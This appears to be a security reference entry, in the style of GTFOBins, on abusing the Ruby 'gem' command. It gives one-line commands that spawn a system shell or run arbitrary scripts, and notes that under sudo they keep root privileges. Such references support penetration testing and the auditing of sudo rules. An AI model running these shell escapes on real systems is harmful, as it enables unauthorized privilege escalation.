This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
gem open -e '/bin/sh -s' debug
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
gem open -e '/bin/sh -s' debug
This executable can inherit functions from another.
This function can be performed by any unprivileged user.
gem open debug
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
gem open debug
This function can be performed by any unprivileged user.
gem build /path/to/script.rb
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
gem build /path/to/script.rb
This function can be performed by any unprivileged user.
gem install --file /path/to/script.rb
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
gem install --file /path/to/script.rb